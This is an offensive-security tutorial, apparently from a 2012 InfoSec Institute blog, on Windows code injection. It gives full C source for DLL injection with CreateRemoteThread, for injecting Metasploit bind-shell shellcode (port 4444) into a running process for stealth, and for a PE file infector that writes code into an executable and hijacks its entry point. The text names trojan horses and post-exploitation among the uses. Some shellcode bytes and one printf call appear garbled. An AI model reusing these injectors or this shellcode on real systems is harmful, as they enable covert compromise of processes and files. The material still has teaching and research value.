Hacking

Executable Code Injection

D12d0x34X
November 9, 2012 by
D12d0x34X

Introduction

Code injection is a process of injecting executable code in a running process or static executable. Executable code in web applications can be injected by exploiting them with XSS (cross site scripting), LFI (local file inclusion), or remote file inclusion vulnerabilities (RFI). On the other hand, code can be injected in an executable using the following methods:

FREE role-guided training plans

FREE role-guided training plans

Get 12 cybersecurity training plans — one for each of the most common roles requested by employers.

1: Code injection using CreateRemoteThread API.

2: PE file infection.

Code injection is mainly used when we exploit a vulnerability leading to process flow hijacking, when we supply executable code as a buffer called a shellcode.

Code injection techniques are mainly used to achieve stealth in memory execution, create trojan horses, process migration in post-exploitation (as seen in Metasploit), and for dynamic binary instrumentation and profiling.

I will use a diagram to illustrate code injection in a running process. This diagram illustrates the injection of code in a foreign process, having process id as X. We are able to inject our code in that process without leaving any traces.

In the C code given below, we will use createRemoteThread api to inject a dll (dynamic link library) into a running process.

[plain]

<span style="font-family:Courier New; font-size:10pt">/*     </span>

<span style="font-family:Courier New; font-size:10pt">    ===========================================================</span>

<span style="font-family:Courier New; font-size:10pt">    Code injection using CreateRemoteThread API</span>

<span style="font-family:Courier New; font-size:10pt">    (C) Raashid bhat</span>

<span style="font-family:Courier New; font-size:10pt">    ===========================================================</span>

<span style="font-family:Courier New; font-size:10pt">    Compile with msvc</span>

<span style="font-family:Courier New; font-size:10pt">*/ </span>

<span style="font-family:Courier New; font-size:10pt">#include &lt;stdio.h&gt;    </span>

<span style="font-family:Courier New; font-size:10pt">#define WIN32_lEAN_AND_MEAN // skip unnecessary header file includes</span>

<span style="font-family:Courier New; font-size:10pt">#include &lt;windows.h&gt;</span>

<span style="font-family:Courier New; font-size:10pt">/* Disable Some Warnings */</span>

<span style="font-family:Courier New; font-size:10pt">#pragma warning(disable:4133)</span>

<span style="font-family:Courier New; font-size:10pt">#pragma warning(disable:4022)</span>

<span style="font-family:Courier New; font-size:10pt">#pragma warning(disable:4047)</span>

<span style="font-family:Courier New; font-size:10pt">#pragma warning(disable:4024)</span>

<span style="font-family:Courier New; font-size:10pt">int main( int argc, char **argv)</span>

<span style="font-family:Courier New; font-size:10pt">{</span>

<span style="font-family:Courier New; font-size:10pt">    int pID;</span>

<span style="font-family:Courier New; font-size:10pt">    LPVOID Addr = NULL;</span>

<span style="font-family:Courier New; font-size:10pt">    LPVOID mem = NULL;</span>

<span style="font-family:Courier New; font-size:10pt">    DWORD permissions = PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD</span>

<span style="font-family:Courier New; font-size:10pt">| PROCESS_VM_OPERATION |PROCESS_VM_WRITE;</span>

<span style="font-family:Courier New; font-size:10pt">    HANDLE hProcess;</span>

<span style="font-family:Courier New; font-size:10pt">    char *dll_name = (char*) malloc(sizeof(char) * MAX_PATH);</span>

<span style="font-family:Courier New; font-size:10pt">    </span>

<span style="font-family:Courier New; font-size:10pt">    strcpy(dll_name, "full DLL path here"); //copy dll name</span>

<span style="font-family:Courier New; font-size:10pt">    </span>

<span style="font-family:Courier New; font-size:10pt">    if (argc != 2) </span>

<span style="font-family:Courier New; font-size:10pt">    {</span>

<span style="font-family:Courier New; font-size:10pt">        printf("Usage : %s &lt;Process_id&gt;", argv[0]);</span>

<span style="font-family:Courier New; font-size:10pt">        exit(EXIT_FAILURE);</span>

<span style="font-family:Courier New; font-size:10pt">    }</span>

<span style="font-family:Courier New; font-size:10pt">    </span>

<span style="font-family:Courier New; font-size:10pt">    pID = atoi(argv[1]); // convert string to number and get PID</span>

<span style="font-family:Courier New; font-size:10pt">    </span>
<span style="font-family:Courier New; font-size:10pt">    hProcess = OpenProcess( permissions,FALSE, pID); // Open process with process id pID</span>

<span style="font-family:Courier New; font-size:10pt">    if (hProcess == NULL) </span>

<span style="font-family:Courier New; font-size:10pt">    {</span>

<span style="font-family:Courier New; font-size:10pt">        printf("%s %d", "unable to open process ", pID);</span>

<span style="font-family:Courier New; font-size:10pt">        exit(EXIT_FAILURE);</span>

<span style="font-family:Courier New; font-size:10pt">    }</span>

<span style="font-family:Courier New; font-size:10pt">    </span>

<span style="font-family:Courier New; font-size:10pt">    Addr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); // Get the address of LoadLibraryA</span>

<span style="font-family:Courier New; font-size:10pt">    if (Addr == NULL) </span>

<span style="font-family:Courier New; font-size:10pt">    {</span>

<span style="font-family:Courier New; font-size:10pt">        printf("%s", "Cannot load kernel32.dll");</span>

<span style="font-family:Courier New; font-size:10pt">        exit(EXIT_FAILURE);</span>

<span style="font-family:Courier New; font-size:10pt">    }</span>

<span style="font-family:Courier New; font-size:10pt">    </span>

<span style="font-family:Courier New; font-size:10pt">    mem = VirtualAllocEx( hProcess, NULL, strlen(dll_name) + 1,MEM_RESERVE</span>

<span style="font-family:Courier New; font-size:10pt">| MEM_COMMIT, PAGE_READWRITE ); // allocate memory in the process to hold the name of dll </span>

<span style="font-family:Courier New; font-size:10pt">     </span>

<span style="font-family:Courier New; font-size:10pt">    if (mem == NULL) </span>

<span style="font-family:Courier New; font-size:10pt">    {</span>

<span style="font-family:Courier New; font-size:10pt">        printf("%s", "failed to allocate memory in foriegn process" );</span>

<span style="font-family:Courier New; font-size:10pt">        exit(EXIT_FAILURE);</span>

<span style="font-family:Courier New; font-size:10pt">    }</span>

<span style="font-family:Courier New; font-size:10pt">            </span>

<span style="font-family:Courier New; font-size:10pt">    WriteProcessMemory(hProcess, mem, dll_name, strlen(dll_name) +1 , NULL) ; // write the dll name to the process memory</span>

<span style="font-family:Courier New; font-size:10pt">    </span>

<span style="font-family:Courier New; font-size:10pt">    if (!CreateRemoteThread(hProcess, NULL, 0, Addr, mem, 0, NULL))</span>

<span style="font-family:Courier New; font-size:10pt">    {</span>

<span style="font-family:Courier New; font-size:10pt">        printf("%s", "CreateRemoteThread failed");</span>

<span style="font-family:Courier New; font-size:10pt">        exit(EXIT_FAILURE);</span>

<span style="font-family:Courier New; font-size:10pt">    }</span>

<span style="font-family:Courier New; font-size:10pt">    </span>

<span style="font-family:Courier New; font-size:10pt">    printf("%s", "Dll injected ");</span>

<span style="font-family:Courier New; font-size:10pt">    </span>

<span style="font-family:Courier New; font-size:10pt">    return 0;</span>

<span style="font-family:Courier New; font-size:10pt">}</span>

[/plain]

Then perform the following steps:

1: Firstly we get the dll name and the process pid (PID)

2: Open the process of specified process id (pID)

3: Allocate some memory in the remote process by using VirtualAllocEx

4: Store the name of the dll to be injected in that allocated memory

5: Retrieve the address of LoadLibraryA in kernel32.dll

6: Create a remote thread at LoadLibrary location in kernnel32.dll and pass dll name as an argument to the thread.

At this point, the thread actually starts at LoadLibraryA in kernel32.dll, with the parameter as the dll name:

LoadLibrary("dll name");

which loads the specified DLL in the address space of the foreign process. Let's now create a sample Dll named as sample.dll and we will inject it in the process with notepad.exe:

[plain]

source: sample.cpp

<span style="font-family:Courier New; font-size:10pt">/*<br/>    Sample DLL to be injeted <br/>    (C) 2012 Raashid Bhat<br/>*/<br/><br/>#include &lt;windows.h&gt;<br/>BOOL APIENTRY DllMain(HMODULE hModule, DWORD ulReason, LPVOID lpReserved)<br/>{<br/>

<br/></span>

<span style="font-family:Courier New; font-size:10pt"> switch (ulReason)<br/> {<br/> case DLL_PROCESS_ATTACH:<br/> {<br/>                    MessageBox(NULL, "Hello world!", "Hello World!", MB_OK);<br/>                    break;<br/>                }<br/>                case DLL_THREAD_ATTACH:<br/> case DLL_THREAD_DETACH:<br/> case DLL_PROCESS_DETACH:<br/>

<br/>                break;<br/> }<br/> return (TRUE);<br/>}<br/></span>

[/plain]

This sample code pops out a messsage box saying "Hello world!" when the dll is injected in the remote process.

Using the following command we will be able to determine the process id of notepad.exe:

    tasklist | find "notepad.exe"

which gives us the following output:

    notepad.exe 1028 Console 1 6,612 K

So from that we are able to determine the process id of notepad.exe; for now it is 1028. Now we will execute our program with parameter as PID of notepad.exe to inject x.dll in the address space of notepad.exe:

We can also verify that by opening the process in a debugger, then checking out the dll's loaded by the process. In this case we will use immunity debugger.

But the disadvantage of this technique is the dll injected is visible in the address space of the executable, and in fact it's not a stealthy way of injecting code. Moreover the dll to be injected has to be present on the local path of the victim.

To achieve a stealthy code injection, we will use a Metasploit shell code as a thread function.

[plain]

<span style="font-family:Courier New; font-size:10pt">/*     </span>

<span style="font-family:Courier New; font-size:10pt">    =================================================================</span>

<span style="font-family:Courier New; font-size:10pt">    Code injection using CreateRemoteThread API(shellcode injection)</span>

<span style="font-family:Courier New; font-size:10pt">    (C) Rashid bhatt</span>

<span style="font-family:Courier New; font-size:10pt">    =================================================================</span>

<span style="font-family:Courier New; font-size:10pt">    Compile with msvc</span>

<span style="font-family:Courier New; font-size:10pt">*/ </span>

<span style="font-family:Courier New; font-size:10pt">#include &lt;stdio.h&gt;    </span>

<span style="font-family:Courier New; font-size:10pt">#define WIN32_lEAN_AND_MEAN // skip unnecessary header file includes</span>

<span style="font-family:Courier New; font-size:10pt">#include &lt;windows.h&gt;</span>

<span style="font-family:Courier New; font-size:10pt">// Metasploit shell bind tcp Port 4444</span>

<span style="font-family:Courier New; font-size:10pt">unsigned char buf[] = </span>

<span style="font-family:Courier New; font-size:10pt">"x6ax56x59xd9xeexd9x74x24xf4x5bx81x73x13xc9xa3"</span>

<span style="font-family:Courier New; font-size:10pt">"xaaxe0x83xebxfcxe2xf4x35x4bx23xe0xc9xa3xcax69"</span>

<span style="font-family:Courier New; font-size:10pt">"x2cx92x78x84x42xf1x9ax6bx9bxafx21xb2xddx28xd8"</span>

<span style="font-family:Courier New; font-size:10pt">"xc8xc6x14xe0xc6xf8x5cx9bx20x65x9fxcbx9cxcbx8f"</span>

<span style="font-family:Courier New; font-size:10pt">"x8ax21x06xaexabx27x2bx53xf8xb7x42xf1xbax6bx8b"</span>

<span style="font-family:Courier New; font-size:10pt">"x9fxabx30x42xe3xd2x65x09xd7xe0xe1x19xf3x21xa8"</span>

<span style="font-family:Courier New; font-size:10pt">"xd1x28xf2xc0xc8x70x49xdcx80x28x9ex6bxc8x75x9b"</span>

<span style="font-family:Courier New; font-size:10pt">"x1fxf8x63x06x21x06xaexabx27xf1x43xdfx14xcaxde"</span>

<span style="font-family:Courier New; font-size:10pt">"x52xdbxb4x87xdfx02x91x28xf2xc4xc8x70xccx6bxc5"</span>

<span style="font-family:Courier New; font-size:10pt">"xe8x21xb8xd5xa2x79x6bxcdx28xabx30x40xe7x8exc4"</span>

<span style="font-family:Courier New; font-size:10pt">"x92xf8xcbxb9x93xf2x55x00x91xfcxf0x6bxdbx48x2c"</span>

<span style="font-family:Courier New; font-size:10pt">"xbdxa1x90x98xe0xc9xcbxddx93xfbxfcxfex88x85xd4"</span>

<span style="font-family:Courier New; font-size:10pt">"x8cxe7x36x76x12x70xc8xa3xaaxc9x0dxf7xfax88xe0"</span>

<span style="font-family:Courier New; font-size:10pt">"x23xc1xe0x36x76xfaxb0x99xf3xeaxb0x89xf3xc2x0a"</span>

<span style="font-family:Courier New; font-size:10pt">"xc6x7cx4ax1fx1cx2ax6dxd1x12xf0xc2xe2xc9xb2xf6"</span>

<span style="font-family:Courier New; font-size:10pt">"x69x2fxc9xbaxb6x9excbx68x3bxfexc4x55x35x9axf4"</span>

<span style="font-family:Courier New; font-size:10pt">"xc2x57x20x9bx55x1fx1cxf0xf9xb7xa1xd7x46xdbx28"</span>

<span style="font-family:Courier New; font-size:10pt">"x5cx7fxb7x40x64xc2x95xa7xeexcbx1fx1cxcbxc9x8d"</span>

<span style="font-family:Courier New; font-size:10pt">"xadxa3x23x03x9exf4xfdxd1x3fxc9xb8xb9x9fx41x57"</span>

<span style="font-family:Courier New; font-size:10pt">"x86x0exe7x8exdcxc8xa2x27xa4xedxb3x6cxe0x8dxf7"</span>

<span style="font-family:Courier New; font-size:10pt">"xfaxb6x9fxf5xecxb6x87xf5xfcxb3x9fxcbxd3x2cxf6"</span>

<span style="font-family:Courier New; font-size:10pt">"x25x55x35x40x43xe4xb6x8fx5cx9ax88xc1x24xb7x80"</span>

<span style="font-family:Courier New; font-size:10pt">"x36x76x11x10x7cx01xfcx88x6fx36x17x7dx36x76x96"</span>

<span style="font-family:Courier New; font-size:10pt">"xe6xb5xa9x2ax1bx29xd6xafx5bx8exb0xd8x8fxa3xa3"</span>

<span style="font-family:Courier New; font-size:10pt">"xf9x1fx1cxa3xaaxe0";</span>

<span style="font-family:Courier New; font-size:10pt">/* Disable Some Warnings */</span>

<span style="font-family:Courier New; font-size:10pt">#pragma warning(disable:4133)</span>

<span style="font-family:Courier New; font-size:10pt">#pragma warning(disable:4022)</span>

<span style="font-family:Courier New; font-size:10pt">#pragma warning(disable:4047)</span>

<span style="font-family:Courier New; font-size:10pt">#pragma warning(disable:4024)</span>

<span style="font-family:Courier New; font-size:10pt">int main( int argc, char **argv)</span>

<span style="font-family:Courier New; font-size:10pt">{</span>

<span style="font-family:Courier New; font-size:10pt">    int pID;</span>

<span style="font-family:Courier New; font-size:10pt">    LPVOID Addr = NULL;</span>

<span style="font-family:Courier New; font-size:10pt">    LPVOID mem = NULL;</span>

<span style="font-family:Courier New; font-size:10pt">    DWORD permissions = PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION |PROCESS_VM_WRITE;</span>

<span style="font-family:Courier New; font-size:10pt">    HANDLE hProcess;</span>

<span style="font-family:Courier New; font-size:10pt">    char *dll_name = (char*) malloc(sizeof(char) * MAX_PATH);</span>

<span style="font-family:Courier New; font-size:10pt">    </span>

<span style="font-family:Courier New; font-size:10pt">    if (argc != 2) </span>

<span style="font-family:Courier New; font-size:10pt">    {</span>

<span style="font-family:Courier New; font-size:10pt">        printf("Usage : %s &lt;Process_id&gt;", argv[0]);</span>

<span style="font-family:Courier New; font-size:10pt">        exit(EXIT_FAILURE);</span>

<span style="font-family:Courier New; font-size:10pt">    }</span>

<span style="font-family:Courier New; font-size:10pt">    </span>

<span style="font-family:Courier New; font-size:10pt">    pID = atoi(argv[1]); // convert string to number and get PID</span>

<span style="font-family:Courier New; font-size:10pt">    </span>
<span style="font-family:Courier New; font-size:10pt">    hProcess = OpenProcess(permissions,FALSE, pID); // Open process with process id pID</span>

<span style="font-family:Courier New; font-size:10pt">    if (hProcess == NULL) </span>

<span style="font-family:Courier New; font-size:10pt">    {</span>

<span style="font-family:Courier New; font-size:10pt">        printf("%s %d", "unable to open process ", pID);</span>

<span style="font-family:Courier New; font-size:10pt">        exit(EXIT_FAILURE);</span>

<span style="font-family:Courier New; font-size:10pt">    }</span>

<span style="font-family:Courier New; font-size:10pt">    </span>

<span style="font-family:Courier New; font-size:10pt">    mem = VirtualAllocEx( hProcess, NULL, sizeof(buf) + 1,MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); // allocate memory in the process to hold the name of dll ( PAGE_EXECUTE for DEP )</span>

<span style="font-family:Courier New; font-size:10pt">     </span>

<span style="font-family:Courier New; font-size:10pt">    if (mem == NULL) </span>

<span style="font-family:Courier New; font-size:10pt">    {</span>

<span style="font-family:Courier New; font-size:10pt">        printf("%s", "failed to allocate memory in foriegn process" );</span>

<span style="font-family:Courier New; font-size:10pt">        exit(EXIT_FAILURE);</span>

<span style="font-family:Courier New; font-size:10pt">    }</span>

<span style="font-family:Courier New; font-size:10pt">            </span>

<span style="font-family:Courier New; font-size:10pt">    WriteProcessMemory(hProcess, mem, buf, sizeof(buf) +1 , NULL) ; // write the dll name to the process memory</span>

<span style="font-family:Courier New; font-size:10pt">    </span>

<span style="font-family:Courier New; font-size:10pt">    CreateRemoteThread(hProcess, NULL, 0, mem, NULL, 0, NULL);</span>

<span style="font-family:Courier New; font-size:10pt">    </span>

<span style="font-family:Courier New; font-size:10pt">    printf("%s", "Code injected");</span>

<span style="font-family:Courier New; font-size:10pt">    </span>

<span style="font-family:Courier New; font-size:10pt">    return 0;</span>

<span style="font-family:Courier New; font-size:10pt">}</span>

[/plain]

                

Portable Executable File Infection

An executable file under Windows is known as a portable executable. Portable executable (PE) is the file format for an executable under Windows operating systems. A portable executable file consists of headers and sections. Sections are are memory regions which may be either code, data or other important data structures, for example import address table, export address table or relocate table.

These special sections consist certain information for an executable to run. For example, import address table (IAT) consists of information regarding the dll and functions used from those particular dll's. In the same way, the export address table consists of information related to the function exported by the executable, which is in case of dll's.

The figure given below is a typical layout of the portable executable format:

As we can see above, the PE file even consists of information regarding the old DOS header for backward compatibility.

I wrote a nice utility known as Texe http://texe.codeplex.com/ reads a portable executable and outputs the information regarding the PE file in a html file. It also gives out the disassembly of the executable's code section.

There is an another utility shipped with Microsoft sdk known as dumpbin.exe, which reads an executable and dumps information related to its sections.

Here is a sample dumpbin.exe output:

dumpbin sample.exe

Microsoft (R) COFF/PE Dumper Version 10.00.30319.01

Copyright (C) Microsoft Corporation. All rights reserved.

Dump of file sample.exe

PE signature found

File Type: EXECUTABLE IMAGE

FILE HEADER VALUES

14C machine (x86)

2 number of sections

0 time date stamp Thu Jan 01 05:30:00 1970

0 file pointer to symbol table

0 number of symbols

E0 size of optional header

30F characteristics

Relocations stripped

Executable

Line numbers stripped

Symbols stripped

32 bit word machine

Debug information stripped

OPTIONAL HEADER VALUES

10B magic # (PE32)

6.00 linker version

0 size of code

0 size of initialized data

0 size of uninitialized data

1040 entry point (00401040)

1000 base of code

2000 base of data

400000 image base (00400000 to 00402FFF)

1000 section alignment

200 file alignment

4.00 operating system version

0.00 image version

4.00 subsystem version

0 Win32 version

3000 size of image

200 size of headers

0 checksum

3 subsystem (Windows CUI)

0 DLL characteristics

100000 size of stack reserve

1000 size of stack commit

100000 size of heap reserve

1000 size of heap commit

0 loader flags

10 number of directories

0 [ 0] RVA [size] of Export Directory

2180 [ 28] RVA [size] of Import Directory

0 [ 0] RVA [size] of Resource Directory

0 [ 0] RVA [size] of Exception Directory

0 [ 0] RVA [size] of Certificates Directory

0 [ 0] RVA [size] of Base Relocation Directory

0 [ 0] RVA [size] of Debug Directory

0 [ 0] RVA [size] of Architecture Directory

0 [ 0] RVA [size] of Global Pointer Directory

0 [ 0] RVA [size] of Thread Storage Directory

0 [ 0] RVA [size] of Load Configuration Directory

0 [ 0] RVA [size] of Bound Import Directory

21A8 [ 14] RVA [size] of Import Address Table Directory

0 [ 0] RVA [size] of Delay Import Directory

0 [ 0] RVA [size] of COM Descriptor Directory

0 [ 0] RVA [size] of Reserved Directory

SECTION HEADER #1

.text name

D8 virtual size

1000 virtual address (00401000 to 004010D7)

200 size of raw data

200 file pointer to raw data (00000200 to 000003FF)

0 file pointer to relocation table

0 file pointer to line numbers

0 number of relocations

0 number of line numbers

60000020 flags

Code

Execute Read

and so on. You can see in the above output given, Dumpbin provides the information about the PE (portable executable) in a similar way as Texe.

Now here we only interested in certain fields in a portable executable file, like base of code, no of section.

In this type of code injection technique, we will try to infect an already existing portable executable file.

This technique makes use of the junk bytes allocated by the compiler at the end of the code section to make it align to a certain boundary, and later on changes the AddressOfEntryPoint of the PE to offset the injected code.

[plain]

<span style="font-family:Courier New; font-size:10pt">/* ============================================================</span>

<span style="font-family:Courier New; font-size:10pt">        PE File Injection </span>

<span style="font-family:Courier New; font-size:10pt">        (C) Raashid Bhat 2012</span>

<span style="font-family:Courier New; font-size:10pt">        </span>

<span style="font-family:Courier New; font-size:10pt">*/</span>

<span style="font-family:Courier New; font-size:10pt">#define WIN32_LEAN_AND_MEAN // skip unnecessay includes</span>

<span style="font-family:Courier New; font-size:10pt">#include &lt;windows.h&gt;</span>

<span style="font-family:Courier New; font-size:10pt">#include &lt;winNT.h&gt; // struct definitions for Portable executable file</span>

<span style="font-family:Courier New; font-size:10pt">#include &lt;stdio.h&gt;</span>

<span style="font-family:Courier New; font-size:10pt">#include &lt;stdlib.h&gt;</span>

<span style="font-family:Courier New; font-size:10pt">unsigned char buf[] = "xdexadxbexef"; // Your Assmebly Code here</span>

<span style="font-family:Courier New; font-size:10pt">unsigned char uSeq[] = "xB8xFFxBExADxDExFFxE0"; // MOV EAX,0xdeadbeef; JMP EAX JMP back to Original Entry Point</span>

<span style="font-family:Courier New; font-size:10pt">void usage(char *pName)</span>

<span style="font-family:Courier New; font-size:10pt">{</span>

<span style="font-family:Courier New; font-size:10pt">    printf("n%s &lt;exe_name&gt;", pName);</span>

<span style="font-family:Courier New; font-size:10pt">    return;</span>

<span style="font-family:Courier New; font-size:10pt">}</span>

<span style="font-family:Courier New; font-size:10pt">int main(int argc, char **argv)</span>

<span style="font-family:Courier New; font-size:10pt">{</span>

<span style="font-family:Courier New; font-size:10pt">    short iSection = 0;</span>

<span style="font-family:Courier New; font-size:10pt">    unsigned int iDelta = 0;</span>

<span style="font-family:Courier New; font-size:10pt">    DWORD iPos = 0;</span>

<span style="font-family:Courier New; font-size:10pt">    int a = 0;</span>

<span style="font-family:Courier New; font-size:10pt">    unsigned char * pSectionData ;</span>

<span style="font-family:Courier New; font-size:10pt">    FILE *fp = NULL;</span>

<span style="font-family:Courier New; font-size:10pt">    </span>

<span style="font-family:Courier New; font-size:10pt">    PIMAGE_DOS_HEADER sDosHeader = (PIMAGE_DOS_HEADER) malloc(sizeof(IMAGE_DOS_HEADER)); // DOS Header defined in Winnt.h</span>

<span style="font-family:Courier New; font-size:10pt">    PIMAGE_NT_HEADERS32 sPEHeader = (PIMAGE_NT_HEADERS32) malloc(sizeof(IMAGE_NT_HEADERS32));</span>

<span style="font-family:Courier New; font-size:10pt">    PIMAGE_SECTION_HEADER sSection = NULL, tmp; // keep as null, later allocate on the based of iSections</span>

<span style="font-family:Courier New; font-size:10pt">    </span>

<span style="font-family:Courier New; font-size:10pt">    if (argc != 2)</span>

<span style="font-family:Courier New; font-size:10pt">    {</span>

<span style="font-family:Courier New; font-size:10pt">        usage(argv[0]);</span>

<span style="font-family:Courier New; font-size:10pt">        exit(EXIT_FAILURE);</span>

<span style="font-family:Courier New; font-size:10pt">    }</span>

<span style="font-family:Courier New; font-size:10pt">    fp = fopen(argv[1], "r+b");</span>

<span style="font-family:Courier New; font-size:10pt">    if (!sDosHeader)</span>

<span style="font-family:Courier New; font-size:10pt">    {</span>

<span style="font-family:Courier New; font-size:10pt">        printf("%s","Cannot allocate memory");</span>

<span style="font-family:Courier New; font-size:10pt">        exit(-1);</span>

<span style="font-family:Courier New; font-size:10pt">    }</span>

<span style="font-family:Courier New; font-size:10pt">    fread(sDosHeader, sizeof(IMAGE_DOS_HEADER), 1, fp);</span>

<span style="font-family:Courier New; font-size:10pt">    if (sDosHeader-&gt;e_magic != IMAGE_DOS_SIGNATURE)</span>

<span style="font-family:Courier New; font-size:10pt">    {</span>

<span style="font-family:Courier New; font-size:10pt">        printf("%s", "Not a valid PE image");</span>

<span style="font-family:Courier New; font-size:10pt">        exit(EXIT_FAILURE);</span>

<span style="font-family:Courier New; font-size:10pt">    }</span>

<span style="font-family:Courier New; font-size:10pt">    </span>

<span style="font-family:Courier New; font-size:10pt">    fseek(fp, sDosHeader-&gt;e_lfanew, SEEK_SET);</span>

<span style="font-family:Courier New; font-size:10pt">    fread(sPEHeader, sizeof(IMAGE_NT_HEADERS32), 1, fp);</span>

<span style="font-family:Courier New; font-size:10pt">    sSection = (PIMAGE_SECTION_HEADER) malloc(sizeof(IMAGE_SECTION_HEADER) * sPEHeader-&gt;FileHeader.NumberOfSections);</span>

<span style="font-family:Courier New; font-size:10pt">    fread(sSection, sizeof(IMAGE_SECTION_HEADER) * sPEHeader-&gt;FileHeader.NumberOfSections, 1, fp);</span>

<span style="font-family:Courier New; font-size:10pt">    printf("no of sections in PE %dn", sPEHeader-&gt;FileHeader.NumberOfSections);</span>

<span style="font-family:Courier New; font-size:10pt">    </span>

<span style="font-family:Courier New; font-size:10pt">    while(1)</span>

<span style="font-family:Courier New; font-size:10pt">    {</span>

<span style="font-family:Courier New; font-size:10pt">        if (sSection-&gt;VirtualAddress == sPEHeader-&gt;OptionalHeader.BaseOfCode) // look for the code section</span>

<span style="font-family:Courier New; font-size:10pt">        {</span>

<span style="font-family:Courier New; font-size:10pt">            break;</span>
<span style="font-family:Courier New; font-size:10pt">        }</span>

<span style="font-family:Courier New; font-size:10pt">        sSection += 1;</span>

<span style="font-family:Courier New; font-size:10pt">    }</span>

<span style="font-family:Courier New; font-size:10pt">        </span>

<span style="font-family:Courier New; font-size:10pt">    iDelta = sSection-&gt;SizeOfRawData;</span>

<span style="font-family:Courier New; font-size:10pt">    </span>

<span style="font-family:Courier New; font-size:10pt">    pSectionData = (unsigned char*) malloc(sizeof(unsigned char) * iDelta );</span>

<span style="font-family:Courier New; font-size:10pt">        </span>

<span style="font-family:Courier New; font-size:10pt">    fseek(fp, sSection-&gt;PointerToRawData + sSection-&gt;Misc.VirtualSize , SEEK_SET);</span>

<span style="font-family:Courier New; font-size:10pt">    </span>

<span style="font-family:Courier New; font-size:10pt">    iPos = sSection-&gt;Misc.VirtualSize + sPEHeader-&gt;OptionalHeader.BaseOfCode;</span>

<span style="font-family:Courier New; font-size:10pt">    </span>

<span style="font-family:Courier New; font-size:10pt">    if( iDelta - sSection-&gt;Misc.VirtualSize &lt; sizeof(buf))</span>

<span style="font-family:Courier New; font-size:10pt">    {</span>

<span style="font-family:Courier New; font-size:10pt">        printf("%s", "Cannot Inject Code");</span>

<span style="font-family:Courier New; font-size:10pt">        exit(EXIT_FAILURE);</span>

<span style="font-family:Courier New; font-size:10pt">    }</span>

<span style="font-family:Courier New; font-size:10pt">    fwrite(buf, sizeof(buf) - 1, 1, fp); // Write Bytes to Executable File</span>

<span style="font-family:Courier New; font-size:10pt">    a = sPEHeader-&gt;OptionalHeader.AddressOfEntryPoint + sPEHeader-&gt;OptionalHeader.ImageBase;</span>

<span style="font-family:Courier New; font-size:10pt">    </span>

<span style="font-family:Courier New; font-size:10pt">    memcpy(&amp;uSeq[1] , &amp;a, sizeof(DWORD));</span>

<span style="font-family:Courier New; font-size:10pt">    </span>

<span style="font-family:Courier New; font-size:10pt">    fwrite(    uSeq, sizeof(uSeq), 1, fp);</span>

<span style="font-family:Courier New; font-size:10pt">    </span>

<span style="font-family:Courier New; font-size:10pt">    /* rewind back and change AddressOfEntrypoint to make Executable's EP to our injected code */</span>

<span style="font-family:Courier New; font-size:10pt">    </span>

<span style="font-family:Courier New; font-size:10pt">    rewind(fp);</span>

<span style="font-family:Courier New; font-size:10pt">    fseek(fp, sDosHeader-&gt;e_lfanew, SEEK_SET);</span>

<span style="font-family:Courier New; font-size:10pt">    sPEHeader-&gt;OptionalHeader.AddressOfEntryPoint = iPos;</span>

<span style="font-family:Courier New; font-size:10pt">    fwrite(    sPEHeader, sizeof(IMAGE_NT_HEADERS32), 1, fp);</span>

<span style="font-family:Courier New; font-size:10pt">    </span>

<span style="font-family:Courier New; font-size:10pt">    printf("%s %s" , "Code Injected in file " argv[1]);</span>

<span style="font-family:Courier New; font-size:10pt">    </span>

<span style="font-family:Courier New; font-size:10pt">    free(sDosHeader);</span>

<span style="font-family:Courier New; font-size:10pt">    free(sPEHeader);</span>

<span style="font-family:Courier New; font-size:10pt">    free(sSection);</span>

What should you learn next?

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

<span style="font-family:Courier New; font-size:10pt">    fclose(fp);</span>

<span style="font-family:Courier New; font-size:10pt">    </span>

<span style="font-family:Courier New; font-size:10pt">    return 0;</span>

<span style="font-family:Courier New; font-size:10pt">}</span>

[/plain]

D12d0x34X
D12d0x34X

Rashid Bhat is an Independent Security Researcher as well as a contributor to InfoSec Institute. His areas of expertise include exploitation, malware analysis and reverse engineering. Twitter: http://twitter.com/raashidbhatt